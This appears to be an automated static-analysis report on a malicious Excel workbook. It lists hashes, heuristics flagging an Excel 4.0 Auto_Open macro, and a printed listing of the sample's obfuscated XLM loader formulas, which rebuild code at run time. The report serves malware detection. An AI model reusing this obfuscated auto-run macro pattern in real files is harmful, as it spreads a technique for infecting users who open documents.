Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 08917d2db7ea168c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:35 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 5c323bb8590c4256bd431c29556243a3 SHA-1: af281144eb521637a068c03e4ae13e490554c866 SHA-256: 08917d2db7ea168cde0eb7b902e8252ee9dbc35407ab32e969082642c0b1111a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6620 bytes
SHA-256: 0a832350909ebcacd2b6f81c03591abee3d6519042a9bba33e5cc3b898d16c3e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZmXDzYbYVKu
' 0018     21 LABEL : Cell Value, String Constant - aDMYnR len=0 
' 0018     20 LABEL : Cell Value, String Constant - aRyol len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B192 
' 0018     23 LABEL : Cell Value, String Constant - aztKpJKV len=0 
' 0018     26 LABEL : Cell Value, String Constant - bAAPiDvuSqn len=0 
' 0018     24 LABEL : Cell Value, String Constant - FmlvQaklc len=0 
' 0018     20 LABEL : Cell Value, String Constant - GLmBt len=0 
' 0018     21 LABEL : Cell Value, String Constant - hbXcEC len=0 
' 0018     23 LABEL : Cell Value, String Constant - JdszrLdY len=0 
' 0018     25 LABEL : Cell Value, String Constant - KLzgNGYWvE len=0 
' 0018     24 LABEL : Cell Value, String Constant - LEPXHujtq len=0 
' 0018     26 LABEL : Cell Value, String Constant - MYjxgYqtTwz len=0 
' 0018     22 LABEL : Cell Value, String Constant - oGFbIkk len=0 
' 0018     20 LABEL : Cell Value, String Constant - oRVyG len=0 
' 0018     24 LABEL : Cell Value, String Constant - QlaLxRGtf len=0 
' 0018     25 LABEL : Cell Value, String Constant - sSoKaqsLSX len=0 
' 0018     20 LABEL : Cell Value, String Constant - TjUGK len=0 
' 0018     25 LABEL : Cell Value, String Constant - VgyQvaucGH len=0 
' 0018     23 LABEL : Cell Value, String Constant - xmWABCNr len=0 
' 0018     20 LABEL : Cell Value, String Constant - XPelD len=0 
' 0018     25 LABEL : Cell Value, String Constant - zJdKiinbmo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZmXDzYbYVKu,B102,"SET.NAME("KLzgNGYWvE",VALUE("0"))",""
'  ZmXDzYbYVKu,B104,"SET.NAME("aRyol",KLzgNGYWvE)",""
'  ZmXDzYbYVKu,B106,"SET.NAME("aztKpJKV",KLzgNGYWvE)",""
'  ZmXDzYbYVKu,B110,"SET.NAME("XPelD",COUNTA(aDMYnR))",""
'  ZmXDzYbYVKu,B115,"SET.NAME("oGFbIkk",COUNTA(TjUGK))",""
'  ZmXDzYbYVKu,B117,[],""
'  ZmXDzYbYVKu,B119,"SET.NAME("zJdKiinbmo","")",""
'  ZmXDzYbYVKu,B123,"aRyol",""
'  ZmXDzYbYVKu,B127,"SET.NAME("FmlvQaklc",HLOOKUP("*",aDMYnR,aRyol,FALSE))",""
'  ZmXDzYbYVKu,B131,"bAAPiDvuSqn",""
'  ZmXDzYbYVKu,B134,"SET.NAME("sSoKaqsLSX",KLzgNGYWvE)",""
'  ZmXDzYbYVKu,B138,[],""
'  ZmXDzYbYVKu,B141,"sSoKaqsLSX",""
'  ZmXDzYbYVKu,B146,"GLmBt",""
'  ZmXDzYbYVKu,B150,"oRVyG",""
'  ZmXDzYbYVKu,B155,"MYjxgYqtTwz",""
'  ZmXDzYbYVKu,B158,"SET.NAME("VgyQvaucGH",VALUE(HLOOKUP("*",TjUGK,MYjxgYqtTwz,FALSE)))",""
'  ZmXDzYbYVKu,B160,"QlaLxRGtf",""
'  ZmXDzYbYVKu,B162,"zJdKiinbmo",""
'  ZmXDzYbYVKu,B166,"aztKpJKV",""
'  ZmXDzYbYVKu,B169,NEXT(),""
'  ZmXDzYbYVKu,B174,"LEPXHujtq",""
'  ZmXDzYbYVKu,B177,"SET.NAME("f",INT(T(FORMULA(T(zJdKiinbmo)&"",""&T(LEPXHujtq)))))",""
'  ZmXDzYbYVKu,B181,"xmWABCNr",""
'  ZmXDzYbYVKu,B185,NEXT(),""
'  ZmXDzYbYVKu,B188,RETURN(),""
'  ZmXDzYbYVKu,B213,"SET.NAME("JdszrLdY",B102)",""
'  ZmXDzYbYVKu,B217,"aDMYnR",""
'  ZmXDzYbYVKu,B219,"SET.NAME("TjUGK",R64C15)",""
'  ZmXDzYbYVKu,B223,"SET.NAME("xmWABCNr",231)",""
'  ZmXDzYbYVKu,B227,"SET.NAME("hbXcEC",2)",""
'  ZmXDzYbYVKu,B230,JdszrLdY(),""
'  ZmXDzYbYVKu,B231,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.